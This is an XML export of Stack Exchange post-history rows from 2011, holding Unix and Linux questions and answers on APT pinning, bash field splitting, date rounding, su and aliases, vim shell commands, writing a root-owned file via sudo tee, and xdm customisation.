  <row Id="18354" PostHistoryTypeId="5" PostId="7801" RevisionGUID="cf5389b6-e43e-4615-a1b4-9e432c36d537" CreationDate="2011-02-22T12:20:09.870" UserId="688" Comment="make more generic; deleted 7 characters in body" Text="Put this in your &quot;**/etc/apt/preferences**&quot;:&#xD;&#xA;&#xD;&#xA;    Package: *&#xD;&#xA;    Pin: release a=stable&#xD;&#xA;    Pin-Priority: 900&#xD;&#xA;&#xD;&#xA;    Package: *&#xD;&#xA;    Pin: release o=Debian&#xD;&#xA;    Pin-Priority: -10&#xD;&#xA;&#xD;&#xA;This is from `man apt_preferences` where `P` means `Pin-Priority`:&#xD;&#xA;&#xD;&#xA;	500 &lt; P &lt;=990&#xD;&#xA;	   causes a version to be installed unless there is a version available belonging to the target release or the installed version is more recent&#xD;&#xA;&#xD;&#xA;	P &lt; 0&#xD;&#xA;	   prevents the version from being installed&#xD;&#xA;&#xD;&#xA;See [this Debian wiki page][1] for something gentler than the manpage.&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/AptPreferences" />
  <row Id="18355" PostHistoryTypeId="5" PostId="7773" RevisionGUID="e977a1e8-269e-4763-9306-a7a53a1617e3" CreationDate="2011-02-22T12:23:10.397" UserId="688" Comment="make more generic" Text="Running `cat /etc/apt/apt.conf` gives:&#xD;&#xA;&#xD;&#xA;    APT::Default-Release &quot;stable&quot;;&#xD;&#xA;&#xD;&#xA;I thought doing that would disallow the command `apt-get install wajig` to work, if a newer version was available anywhere but **Stable**.&#xD;&#xA;&#xD;&#xA;How do I set up APT so that such a version would require me to specify the repository name in order to install it (e.g. `apt-get --target-release testing wajig`)?&#xD;&#xA;&#xD;&#xA;[**update**] I wasn't aware that my question wasn't so clear. I want this to be an archive-wide setting (i.e. it should apply to each package in the Stable archive), not to some specific package." />
  <row Id="18356" PostHistoryTypeId="5" PostId="7832" RevisionGUID="ed998fa5-f010-45f5-a944-3a2aeffb3252" CreationDate="2011-02-22T12:26:57.613" UserId="2343" Comment="added 83 characters in body" Text="bash (IFS Internal Field Seperator) &#xD;&#xA;&#xD;&#xA;Using IFS avoids an external call, and it simply allows for embeded spaces.   &#xD;&#xA;&#xD;&#xA;    # ==============&#xD;&#xA;      A='token0:token1:token2.y   token2.z '&#xD;&#xA;      echo normal. $A&#xD;&#xA;    # Save IFS; Change IFS to &quot;:&quot; &#xD;&#xA;      SFI=$IFS; IFS=:     ##### This is the important bit part 1 &#xD;&#xA;      echo changed $A&#xD;&#xA;      B=($A)  ### this is now parsed at :  (not at the default IFS whitespace) &#xD;&#xA;      echo B...... $B&#xD;&#xA;      echo B[0]... ${B[0]}&#xD;&#xA;      echo B[1]... ${B[1]}&#xD;&#xA;      echo B[2]... ${B[2]}&#xD;&#xA;      echo B[@]... ${B[@]}&#xD;&#xA;    # Reset the original IFS&#xD;&#xA;      IFS=$SFI             ##### Important bit part 2&#xD;&#xA;      echo normal. $A&#xD;&#xA;    &#xD;&#xA;    # Output&#xD;&#xA;    normal. token0:token1:token2.y token2.z&#xD;&#xA;    changed token0 token1 token2.y   token2.z &#xD;&#xA;    B...... token0&#xD;&#xA;    B[0]... token0&#xD;&#xA;    B[1]... token1&#xD;&#xA;    B[2]... token2.y   token2.z &#xD;&#xA;    B[@]... token0 token1 token2.y   token2.z &#xD;&#xA;    normal. token0:token1:token2.y token2.z&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18357" PostHistoryTypeId="2" PostId="7835" RevisionGUID="f34fd91a-be35-481b-98c2-cc64dd8ec4ed" CreationDate="2011-02-22T12:28:07.350" UserId="4595" Text="You can get the curent unix timestamp with `date &quot;+%s&quot;` an find the current quarter with some simple math :&#xD;&#xA;&#xD;&#xA;    curdate=`date &quot;+%s&quot;`; date -d@&quot;$(($curdate - ($curdate % (15 * 60))))&quot;" />
  <row Id="18358" PostHistoryTypeId="5" PostId="7834" RevisionGUID="9dea4e99-eb12-4079-a3fd-d58f5472dd8b" CreationDate="2011-02-22T12:28:07.453" UserId="688" Comment="formatting" Text="I create an alias as my current user in the bash shell, which I can see using the alias command.&#xD;&#xA;&#xD;&#xA;When I switch user without the `-`, i.e. `su testuser`, the alias is not carried into the new user's environment.&#xD;&#xA;&#xD;&#xA;Any idea why?" />
  <row Id="18359" PostHistoryTypeId="2" PostId="7836" RevisionGUID="5e59ac15-fe65-4adb-9dab-bc10017cd3a2" CreationDate="2011-02-22T12:34:20.870" UserId="3879" Text="Am not sure about your exact requirement. However, if you want to generate the time after 15 min, then you can use something like `date  -d '+15 min'`. Output is shown below:&#xD;&#xA;&#xD;&#xA;    $ date; date  -d '+15 min'&#xD;&#xA;    Tue Feb 22 18:12:39 IST 2011&#xD;&#xA;    Tue Feb 22 18:27:39 IST 2011&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18360" PostHistoryTypeId="5" PostId="7835" RevisionGUID="31df1977-a5b5-4de0-8ee3-69c47d2f92b1" CreationDate="2011-02-22T12:35:29.010" UserId="4595" Comment="More precise answer" Text="You can get the curent unix timestamp with `date &quot;+%s&quot;` an find the current quarter with some simple math :&#xD;&#xA;&#xD;&#xA;    curdate=`date &quot;+%s&quot;`&#xD;&#xA;    date -d&quot;@$(($curdate - ($curdate % (15 * 60))))&quot;&#xD;&#xA;&#xD;&#xA;The `@` syntax to set the current date and time from a timestamp is a GNU extention to date, if it don't works on your OS, you can do the same like this :&#xD;&#xA;&#xD;&#xA;    date -d&quot;1970-01-01 $(($curdate - ($curdate % (15 * 60)))) seconds&quot;&#xD;&#xA;" />
  <row Id="18361" PostHistoryTypeId="2" PostId="7837" RevisionGUID="336a7029-cd37-4e7f-a645-f6b9c635f38b" CreationDate="2011-02-22T12:39:08.997" UserId="3519" Text="This is because `su` creates a new login shell, starting fresh. So if you want your alias to persist, you need to create it in your `.bashrc`." />
  <row Id="18362" PostHistoryTypeId="2" PostId="7838" RevisionGUID="437e69c5-22bc-410b-9cc7-408a75063693" CreationDate="2011-02-22T12:42:31.130" UserId="3879" Text="Thing is, when you create any alias in the terminal, it is temporary. If you open another terminal while you are logged in as the same user, you won't be able to access that alias. So, you need to store them permanently, as said by asoundmove above, in `.bashrc` file. You can store it in any other file also, but then that has to be included in your `.bashrc` file." />
  <row Id="18363" PostHistoryTypeId="2" PostId="7839" RevisionGUID="26de9633-f280-41ae-ad11-0cd553e21151" CreationDate="2011-02-22T12:44:10.863" UserId="4477" Text="If you don't like makefiles for some reason you can call any command with :!&#xD;&#xA;&#xD;&#xA;For example you can use &quot;:!javac *.java &amp;&amp; java Foo&quot; to compile and run a simple java program. You can also call other build systems (scons, cmake, ...) this way." />
  <row Id="18364" PostHistoryTypeId="2" PostId="7840" RevisionGUID="c969e8df-99cf-4579-aa11-7e600e0e9333" CreationDate="2011-02-22T13:07:59.107" UserId="29" Text="I'm an existing Pro Tem Moderator, and currently one of the top 5 users on the site by reputation. My primary goal as protem has been to define what *is* and is *not* ontopic. One such endless slew of questions in the beginning was [cross-platform application's, which I've argued are ontopic](http://meta.unix.stackexchange.com/q/97/29). Now that we've launched I'm trying to be less of a shaper and see in general what the community thinks.&#xD;&#xA;&#xD;&#xA;Of the existing Pro Tem moderator's I might be the most likely to have an opinion on whether something should be ontopic, and the least likely to reword your post.&#xD;&#xA;&#xD;&#xA;Remember to vote, and remember to vote to close, and flag for moderator attention to migrate." />
  <row Id="18365" PostHistoryTypeId="2" PostId="7841" RevisionGUID="7b52eff5-60cd-4f88-abef-6c2b296a05db" CreationDate="2011-02-22T13:08:47.393" UserId="4843" Text="Answer to my own Question: [:)]&#xD;&#xA;&#xD;&#xA;1. i2cdetect -l    : To enlist the existing i2c adapter&#xD;&#xA;2. echo Y | i2cdump $i 0x50    : Where  i is the device id of each /dev/i2c-*&#xD;&#xA;3. The above command will print the Raw-EDID for the given I2C-Adapter.&#xD;&#xA;4. Now custom C ( or any ) programming language can be used to parse the information to give the neat description of the underlying device.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[ Though I used the i2c-tools, still It will be far better to use the low-level assembly programming to read the EEPROM values. ]" />
  <row Id="18366" PostHistoryTypeId="2" PostId="7842" RevisionGUID="2c5f9d28-47ae-4222-916b-ec0527eb7a26" CreationDate="2011-02-22T13:11:30.633" UserId="3645" Text="From `man su`:&#xD;&#xA;&#xD;&#xA;    The optional argument - may be used to provide an environment similar&#xD;&#xA;    to what the user would expect had the user logged in directly.&#xD;&#xA;&#xD;&#xA;As asoundmove and Barun explained, `su` starts a new shell, so without the `-` it is like running `bash --norc`." />
  <row Id="18367" PostHistoryTypeId="5" PostId="7838" RevisionGUID="fb8ca5ef-c37c-44c3-a5f0-8cb291d8ae91" CreationDate="2011-02-22T13:27:55.680" UserId="3879" Comment="Bold author" Text="Thing is, when you create any alias in the terminal, it is temporary. If you open another terminal while you are logged in as the same user, you won't be able to access that alias. So, you need to store them permanently, as said by **asoundmove**, in `.bashrc` file. You can store it in any other file also, but then that has to be included in your `.bashrc` file." />
  <row Id="18368" PostHistoryTypeId="2" PostId="7843" RevisionGUID="5e3eea22-a1ad-43ae-a4a8-a274be63e9bf" CreationDate="2011-02-22T13:30:56.490" UserId="678" Text="If you can live with calling date two times, this one works in bash on Solaris:&#xD;&#xA;&#xD;&#xA;    date +&quot;%Y.%m.%d %H:$(( $(date +'%M') / 15 * 15 ))&quot;" />
  <row Id="18369" PostHistoryTypeId="2" PostId="7844" RevisionGUID="1f78575f-6f80-431c-8a60-b46bc31528a2" CreationDate="2011-02-22T13:35:10.700" UserId="4982" Text="In case of gcc, python etc. you can call it with a colon-bang (:!)&#xD;&#xA;&#xD;&#xA;Eg. `:!python something.py`" />
  <row Id="18370" PostHistoryTypeId="2" PostId="7845" RevisionGUID="b0452c4b-4933-4bcf-94f7-41c77584ebbe" CreationDate="2011-02-22T13:36:26.110" UserId="4355" Text="I'd suggest a frontend to `ffmpeg`. There are several out there, for example&#xD;&#xA;&#xD;&#xA;- [Sinthgunt][1]&#xD;&#xA;- [WinFF][2]&#xD;&#xA;- [Transcoder][3]&#xD;&#xA;- [HyperVideo Converter][4]&#xD;&#xA;&#xD;&#xA;Sinthgunt looks the most promising to me - it looks relatively discoverable, and comes with loads of preset formats to convert into.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/sinthgunt/&#xD;&#xA;  [2]: http://winff.org/html_new/&#xD;&#xA;  [3]: http://transcoder84.sourceforge.net/&#xD;&#xA;  [4]: http://gtk-apps.org/content/show.php/Hyper+Video+Converter?content=88970" />
  <row Id="18371" PostHistoryTypeId="2" PostId="7846" RevisionGUID="6e3669e4-c830-445d-9753-501a64e4a7c9" CreationDate="2011-02-22T13:40:38.637" UserId="3879" Text="Here is a nice tutorial, although I haven't tried it:&#xD;&#xA;[How to Create a Screencast in Ubuntu][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://embraceubuntu.com/2006/06/08/how-to-create-a-screencast-in-ubuntu/" />
  <row Id="18372" PostHistoryTypeId="5" PostId="7846" RevisionGUID="c6a24366-150f-47cf-87a8-83eedcb1e03a" CreationDate="2011-02-22T13:45:48.870" UserId="3879" Comment="deleted 20 characters in body" Text="Here are some reference, although I haven't tried it:&#xD;&#xA;[Live screencasting to ustream][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntu-ky.ubuntuforums.org/showthread.php?p=8266016" />
  <row Id="18373" PostHistoryTypeId="2" PostId="7847" RevisionGUID="48473285-4de1-48ee-b6f9-077333abe8af" CreationDate="2011-02-22T13:55:41.983" UserId="2972" Text="GNU Parallel is made for that kind of tasks. The simplest usage is:&#xD;&#xA;&#xD;&#xA;    cat stuff | grep pattern | parallel java MyProg&#xD;&#xA;&#xD;&#xA;Watch the intro video to learn more: http://www.youtube.com/watch?v=OpaiGYxkSuQ&#xD;&#xA;" />
  <row Id="18374" PostHistoryTypeId="2" PostId="7848" RevisionGUID="e9448024-9ee7-4128-be8a-f7db1f290e05" CreationDate="2011-02-22T13:58:31.207" UserId="3852" Text="**nologin** takes no arguments and is widely available on Linux and BSD.&#xD;&#xA;&#xD;&#xA;On CentOS 4 and 5, the **arch** command takes no arguments. On other linux distros, arch is now provided by GNU coreutils which takes --version and --help. With CentOS 4 and 5 it comes from util-linux which differs from GNU's version.&#xD;&#xA;&#xD;&#xA;A lot of the things in GNU coreutils take only --help and --version, if you look at different Unixes that don't use GNU coreutils, they don't accept any arguments: **sync**, **true**, **false**, **whoami**, **pwd**, **groups**, **users**&#xD;&#xA;" />
  <row Id="18375" PostHistoryTypeId="5" PostId="7846" RevisionGUID="dffd91bf-aeae-4ed0-89db-df7ad1309918" CreationDate="2011-02-22T14:02:29.720" UserId="3879" Comment="Spelling mistake" Text="Use [WebcamStudio for GNU/Linux][3]. (Reference:&#xD;&#xA;[Live screencasting to ustream][1])&#xD;&#xA;&#xD;&#xA;View the demo [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntu-ky.ubuntuforums.org/showthread.php?p=8266016&#xD;&#xA;  [2]: http://www.ws4gl.org/webcamstudio-demos&#xD;&#xA;  [3]: http://www.ws4gl.org/" />
  <row Id="18376" PostHistoryTypeId="2" PostId="7849" RevisionGUID="1e04bfb1-3820-47eb-9d9d-70823030b7bb" CreationDate="2011-02-22T14:13:02.883" UserId="2343" Text="eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)  &#xD;&#xA;M=$(( ((M+((M==0))) /15) *15 ))  &#xD;&#xA;((M==0)) &amp;&amp; M=00  &#xD;&#xA;echo $H.$m.$d $H:$M  &#xD;&#xA;&#xD;&#xA;This will return only  &#xD;&#xA;&#xD;&#xA;    01.02.23 01:00&#xD;&#xA;    01.02.23 01:15&#xD;&#xA;    01.02.23 01:30&#xD;&#xA;    01.02.23 01:45&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18377" PostHistoryTypeId="5" PostId="7848" RevisionGUID="cd08f732-d5ea-4a9a-a2bd-3f4fca9f983c" CreationDate="2011-02-22T14:19:51.500" UserId="3852" Comment="use code blocks instead of bolding commands" Text="`nologin` takes no arguments and is widely available on Linux and BSD.&#xD;&#xA;&#xD;&#xA;On CentOS 4 and 5, the `arch` command takes no arguments. On other linux distros, arch is now provided by GNU coreutils which takes --version and --help. With CentOS 4 and 5 it comes from util-linux which differs from GNU's version.&#xD;&#xA;&#xD;&#xA;A lot of the things in GNU coreutils take only --help and --version, if you look at different Unixes that don't use GNU coreutils, they don't accept any arguments: `sync`, `true`, `false`, `whoami`, `pwd`, `groups`, `users`&#xD;&#xA;" />
  <row Id="18378" PostHistoryTypeId="25" PostId="7834" RevisionGUID="5c241f2a-b857-45a5-80b1-4b51cf7bd486" CreationDate="2011-02-22T14:23:15.133" Comment="http://twitter.com/#!/StackUnix/status/40054012174667776" />
  <row Id="18379" PostHistoryTypeId="5" PostId="7849" RevisionGUID="0992f710-dbe9-4385-871c-92134ecc7381" CreationDate="2011-02-22T14:23:52.087" UserId="2343" Comment="added 8 characters in body" Text="eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)  &#xD;&#xA;M=$(( ((M+((M==0))) /15) *15 ))  &#xD;&#xA;((M==0)) &amp;&amp; M=00  &#xD;&#xA;echo $Y.$m.$d $H:$M  &#xD;&#xA;&#xD;&#xA;This will return only  &#xD;&#xA;&#xD;&#xA;    2011.02.23 01:00&#xD;&#xA;    2011.02.23 01:15&#xD;&#xA;    2011.02.23 01:30&#xD;&#xA;    2011.02.23 01:45&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18380" PostHistoryTypeId="5" PostId="7837" RevisionGUID="8e693b52-70e1-4bbc-be6f-fe6ee108e173" CreationDate="2011-02-22T14:32:05.620" UserId="3519" Comment="deleted 6 characters in body" Text="This is because `su` creates a new shell, starting fresh. So if you want your alias to persist, you need to create it in your `.bashrc`." />
  <row Id="18381" PostHistoryTypeId="5" PostId="7835" RevisionGUID="de503625-1753-495e-9ed9-29440945afd4" CreationDate="2011-02-22T14:32:48.850" UserId="4595" Comment="improved vocabulary, grammar and explanation" Text="You can get the current unix timestamp with `date &quot;+%s&quot;`, find the current quarter-hour with some simple math (my example is in `bash`) and print it back with a better format with `date` :&#xD;&#xA;&#xD;&#xA;    curdate=`date &quot;+%s&quot;`&#xD;&#xA;    curquarter=$(($curdate - ($curdate % (15 * 60))))&#xD;&#xA;    date -d&quot;@$curquarter&quot;&#xD;&#xA;&#xD;&#xA;The `@` syntax to set the current date and time from a timestamp is a GNU extention to date, if it don't works on your OS, you can do the same like this :&#xD;&#xA;&#xD;&#xA;    date -d&quot;1970-01-01 $curquarter seconds&quot;&#xD;&#xA;" />
  <row Id="18382" PostHistoryTypeId="5" PostId="7849" RevisionGUID="6a822de4-07db-4bae-870d-01f9d1a948de" CreationDate="2011-02-22T14:32:50.807" UserId="2343" Comment="added 210 characters in body; added 2 characters in body" Text="eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)  &#xD;&#xA;M=$(( ((M+((M==0))) /15) *15 ))  &#xD;&#xA;((M==0)) &amp;&amp; M=00  &#xD;&#xA;echo $Y.$m.$d $H:$M  &#xD;&#xA;&#xD;&#xA;This will return only  &#xD;&#xA;&#xD;&#xA;    2011.02.23 01:00&#xD;&#xA;    2011.02.23 01:15&#xD;&#xA;    2011.02.23 01:30&#xD;&#xA;    2011.02.23 01:45&#xD;&#xA;&#xD;&#xA;You can test it by inserting a test line after the first eval line .   &#xD;&#xA;Just add; M=00  &#xD;&#xA; ... etc... 08 and 09 are safe, because the math double brackets treat it as a decimal and not octal as bash would do...." />
  <row Id="18383" PostHistoryTypeId="2" PostId="7850" RevisionGUID="25e6b8c3-53cd-4d30-9f70-c32c3d339f85" CreationDate="2011-02-22T14:44:58.573" UserId="4986" Text="Hello! I am writing an application that needs to create a special file and write a magic cookie into it. I can’t write the file directly from the application, the system security model requires me to launch a helper tool with elevated privileges to do the trick. I can supply any number of arguments to the helper tool. Now I would like to pick some very simple system command that would create the file for me. Something like this:&#xD;&#xA;&#xD;&#xA;`/bin/sh -c &quot;/bin/echo -n 'magic' &gt; /some/where/file&quot;`&#xD;&#xA;&#xD;&#xA;Simple `touch` does not cut it as I need to write the cookie into the file, a simple `echo` without the shell wrapper does not work as it needs redirection to write the file. I don’t feel comfortable calling the shell with root privileges to do such a simple task. Is there some really simple, constrained system command that I could call to write the file for me?" />
  <row Id="18384" PostHistoryTypeId="1" PostId="7850" RevisionGUID="25e6b8c3-53cd-4d30-9f70-c32c3d339f85" CreationDate="2011-02-22T14:44:58.573" UserId="4986" Text="Write to a file without redirection?" />
  <row Id="18385" PostHistoryTypeId="3" PostId="7850" RevisionGUID="25e6b8c3-53cd-4d30-9f70-c32c3d339f85" CreationDate="2011-02-22T14:44:58.573" UserId="4986" Text="éshellàécommandölineàéioöredirectionà" />
  <row Id="18386" PostHistoryTypeId="4" PostId="7026" RevisionGUID="c38fab77-753d-4087-b183-1f37df72f630" CreationDate="2011-02-22T14:46:32.320" UserId="916" Comment="Fix typo in title" Text="Has OpenBSD's `ntpd` replacement been incorporated into the other BSDs? Or Linux, for that matter?" />
  <row Id="18387" PostHistoryTypeId="5" PostId="7815" RevisionGUID="8dd3c393-b3a0-4520-9e58-ca5b33d9e0c1" CreationDate="2011-02-22T15:06:24.080" UserId="73" Comment="deleted 18 characters in body" Text="I have been using Ubuntu 10.10, and the major problem was the wifi, which was not working at all. It worked in Ubuntu 9.10. So after many futile attempts I decided run a Live CD of Ubuntu 9.10, and then wifi worked. Then after restarting I was amazed to see that the wifi was now working in ubuntu 10.10. What could be the reason? I tried lot of things, like blacklisting ath5k, but nothing worked out. Now after doing the Live CD, it's working. " />
  <row Id="18388" PostHistoryTypeId="5" PostId="3299" RevisionGUID="4f657389-0a20-4c51-8f30-179c6f8db7ee" CreationDate="2011-02-22T15:29:48.887" UserId="1327" Comment="added 16 characters in body" Text="Specific things you might want to look into is:&#xD;&#xA;&#xD;&#xA;  - **[Shell scripting][5]**  &#xD;&#xA;    Being able to use bash is a must for anyone thats going to get intimate on the command line&#xD;&#xA;&#xD;&#xA;  - **Services**  &#xD;&#xA;    You will have to understand the services your webserver will be running. If your running PHP and MYSQL. You'll want to read about [LAMP][2].   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As [Falmarri](http://unix.stackexchange.com/users/1571/falmarri) says, solving individual problems when they arise will help you learn a lot quicker than studying up a book or doing all the theory.&#xD;&#xA;&#xD;&#xA;If you need to know the **unix** basics, get a unused PC at home and play with it. Install and use distro's that doesn't do everything for you, Arch Linux has the perfect installation [wiki][2] for this. Slackware is another good one.&#xD;&#xA;&#xD;&#xA;Also, to solve those individual problems, ask questions **here** on [Unix SE][1] or [Serverfault][6] :)&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/ask&#xD;&#xA;[2]:https://wiki.archlinux.org/index.php/LAMP&#xD;&#xA;[3]:http://www.slackware.com/&#xD;&#xA;[4]:http://wiki.archlinux.org/index.php/Beginners%27_Guide&#xD;&#xA;[5]:http://www.freeos.com/guides/lsst/&#xD;&#xA;[6]:http://serverfault.com/" />
  <row Id="18389" PostHistoryTypeId="5" PostId="7850" RevisionGUID="28a6e5f0-222e-4b02-90b8-9f9d7f28ef58" CreationDate="2011-02-22T15:32:58.167" UserId="4986" Comment="Clarified." Text="Hello! I am writing an application that needs to create a special file and write a magic cookie into it. I can’t write the file directly from the application, the system security model requires me to launch a helper tool with elevated privileges to do the trick. I can supply any number of arguments to the helper tool. Now I would like to pick some very simple system command that would serve as the helper tool and create the file for me. Something like this:&#xD;&#xA;&#xD;&#xA;`/bin/sh -c &quot;/bin/echo -n 'magic' &gt; /some/where/file&quot;`&#xD;&#xA;&#xD;&#xA;Simple `touch` does not cut it as I need to write the cookie into the file, a simple `echo` without the shell wrapper does not work as it needs redirection to write the file. I don’t feel comfortable calling the shell with root privileges to do such a trivial task. Is there some really simple, constrained system command that I could call to write the file for me?" />
  <row Id="18390" PostHistoryTypeId="2" PostId="7851" RevisionGUID="0b82b99a-dd76-419e-949d-719378aff68a" CreationDate="2011-02-22T15:37:27.037" UserId="4667" Text="Note that when you use the `source` or `.` commands, by default in bash, the file argument will be searched for in the `$PATH` unless it contains a &lt;kbd&gt;/&lt;/kbd&gt; character. You want to either&#xD;&#xA;&#xD;&#xA;    source ./.topic1rc &#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    shopt -u sourcepath&#xD;&#xA;    source .topic1rc" />
  <row Id="18391" PostHistoryTypeId="5" PostId="7849" RevisionGUID="5b2d414d-b0c0-43f3-b12d-2c0ff3e00c9a" CreationDate="2011-02-22T15:39:48.280" UserId="2343" Comment="Fixe a bug and added a full test; deleted 2 characters in body" Text="    eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;    [[ &quot;$M&quot; &lt; &quot;15&quot; ]] &amp;&amp; M=00 # cater for octal clash&#xD;&#xA;    M=$(((M/15)*15))&#xD;&#xA;    ((M==0)) &amp;&amp; M=00 # the math returns 0, so make it 00  &#xD;&#xA;    echo $Y.$m.$d $H:$M  &#xD;&#xA;   &#xD;&#xA;It will return only  &#xD;&#xA;&#xD;&#xA;    2011.02.23 01:00&#xD;&#xA;    2011.02.23 01:15&#xD;&#xA;    2011.02.23 01:30&#xD;&#xA;    2011.02.23 01:45   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is a version with a TEST loop for all 60 values {00..59}  &#xD;&#xA;&#xD;&#xA;    for X in {00..59} ;                         ###### TEST&#xD;&#xA;    do                                          ###### TEST &#xD;&#xA;      eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;      M=$X                                      ###### TEST &#xD;&#xA;      [[ &quot;$M&quot; &lt; &quot;15&quot; ]] &amp;&amp; M=00 # cater for octal clash&#xD;&#xA;      M=$(((M/15)*15))&#xD;&#xA;      ((M==0)) &amp;&amp; M=00 # the math returns 0, so make it 00  &#xD;&#xA;      echo $Y.$m.$d $H:$M &#xD;&#xA;    done                                        ###### TEST &#xD;&#xA;" />
  <row Id="18392" PostHistoryTypeId="2" PostId="7852" RevisionGUID="302e48d0-9352-4102-ad7a-745888b99413" CreationDate="2011-02-22T15:42:49.497" UserId="4595" Text="`openntpd` has to be [patched][1] to be usefull on Linux or it won't adjust the system clock. Moreover, the porting to other OS is made by a separate team and is always behind the main branch, so it has very small chances to become the default ntpd on any other OS than OpenBSD.&#xD;&#xA;&#xD;&#xA;If you are looking for an alternative ntp server, the only actual competitor to [ntd.org][3] `ntpd` seems to be [`chrony`][4].&#xD;&#xA;&#xD;&#xA;[1]: http://dtucker.freeshell.org/openntpd/patches/openntpd-3.6.1p1-linux-adjtimex.patch&#xD;&#xA;[2]: http://openntpd.org/portable.html&#xD;&#xA;[3]: http://support.ntp.org/bin/view/Main/WebHome&#xD;&#xA;[4]: http://chrony.tuxfamily.org/&#xD;&#xA;" />
  <row Id="18393" PostHistoryTypeId="2" PostId="7853" RevisionGUID="029e69c7-cff7-413e-abb0-966f1da19604" CreationDate="2011-02-22T15:45:44.273" UserId="4667" Text="In vim, the current file can be referred to as &lt;kbd&gt;%&lt;/kbd&gt;, so&#xD;&#xA;&#xD;&#xA;    :!python %&#xD;&#xA;&#xD;&#xA;See `:he cmdline-special` (or [here][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vimdoc.sourceforge.net/htmldoc/cmdline.html#cmdline-special" />
  <row Id="18394" PostHistoryTypeId="2" PostId="7854" RevisionGUID="d743fa45-f520-449c-8b59-cdc55fabbdcd" CreationDate="2011-02-22T15:56:06.390" UserId="4477" Text="How about this:&#xD;&#xA;&#xD;&#xA;    echo -n 'magic' | sudo tee /some/where/file &gt; /dev/null&#xD;&#xA;&#xD;&#xA;Sure there are redirections in this but only tee runs as root not a shell. Works with `dd of=...` too." />
  <row Id="18395" PostHistoryTypeId="5" PostId="7849" RevisionGUID="4d9e0598-9063-4664-a34c-798e9ce3d13a" CreationDate="2011-02-22T15:58:35.880" UserId="2343" Comment="another way" Text="    eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;    [[ &quot;$M&quot; &lt; &quot;15&quot; ]] &amp;&amp; M=00 # cater for octal clash&#xD;&#xA;    M=$(((M/15)*15))&#xD;&#xA;    ((M==0)) &amp;&amp; M=00 # the math returns 0, so make it 00  &#xD;&#xA;    echo $Y.$m.$d $H:$M  &#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;    if   [[ &quot;$M&quot; &lt; &quot;15&quot; ]] ; then M=00&#xD;&#xA;    elif [[ &quot;$M&quot; &lt; &quot;30&quot; ]] ; then M=15&#xD;&#xA;    elif [[ &quot;$M&quot; &lt; &quot;45&quot; ]] ; then M=30&#xD;&#xA;    else M=45&#xD;&#xA;    fi&#xD;&#xA;    echo $Y.$m.$d $H:$M&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;Both versions will return only  &#xD;&#xA;&#xD;&#xA;    2011.02.23 01:00&#xD;&#xA;    2011.02.23 01:15&#xD;&#xA;    2011.02.23 01:30&#xD;&#xA;    2011.02.23 01:45   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is the first one with a TEST loop for all 60 values {00..59}  &#xD;&#xA;&#xD;&#xA;    for X in {00..59} ;                         ###### TEST&#xD;&#xA;    do                                          ###### TEST &#xD;&#xA;      eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;      M=$X                                      ###### TEST &#xD;&#xA;      [[ &quot;$M&quot; &lt; &quot;15&quot; ]] &amp;&amp; M=00 # cater for octal clash&#xD;&#xA;      M=$(((M/15)*15))&#xD;&#xA;      ((M==0)) &amp;&amp; M=00 # the math returns 0, so make it 00  &#xD;&#xA;      echo $Y.$m.$d $H:$M &#xD;&#xA;    done                                        ###### TEST &#xD;&#xA;" />
  <row Id="18396" PostHistoryTypeId="2" PostId="7855" RevisionGUID="78ed1555-c940-4905-8538-0e1637380841" CreationDate="2011-02-22T15:58:38.057" UserId="1655" Text="I am in the process of creating a lightweight yet full-featured Linux disto and don't want to include a whole bunch of unnecessary or bloated software. It is supposed to run off a USB flash drive. I want to have it be somewhat user-friendly, hence the necessity of a graphical login.&#xD;&#xA;&#xD;&#xA;I really hope it can be `xdm` (a 115 KB package) and not `kdm` (part of a 64 MB package).&#xD;&#xA;&#xD;&#xA;I realize that much of the user-friendliness comes from having a visually-pleasing graphical interface, and a lot of effort thus far has been put into art direction. Much of the user interface (fluxbox) has been heavily customized to reflect the art and themes of the disto.&#xD;&#xA;&#xD;&#xA;My questions are:&#xD;&#xA;&#xD;&#xA;* How far can the look and feel of xdm(1) be customized?&#xD;&#xA;* Have you tried or seen the work of others who have done it?&#xD;&#xA;* Can you show me an example?&#xD;&#xA;* If it's unfeasible to expect that much out of xdm, is there another graphical login client that is equally as lightweight?" />
  <row Id="18397" PostHistoryTypeId="1" PostId="7855" RevisionGUID="78ed1555-c940-4905-8538-0e1637380841" CreationDate="2011-02-22T15:58:38.057" UserId="1655" Text="Customized XDM-based login screen" />
  <row Id="18398" PostHistoryTypeId="3" PostId="7855" RevisionGUID="78ed1555-c940-4905-8538-0e1637380841" CreationDate="2011-02-22T15:58:38.057" UserId="1655" Text="élinuxàéxorgàégraphicsà" />
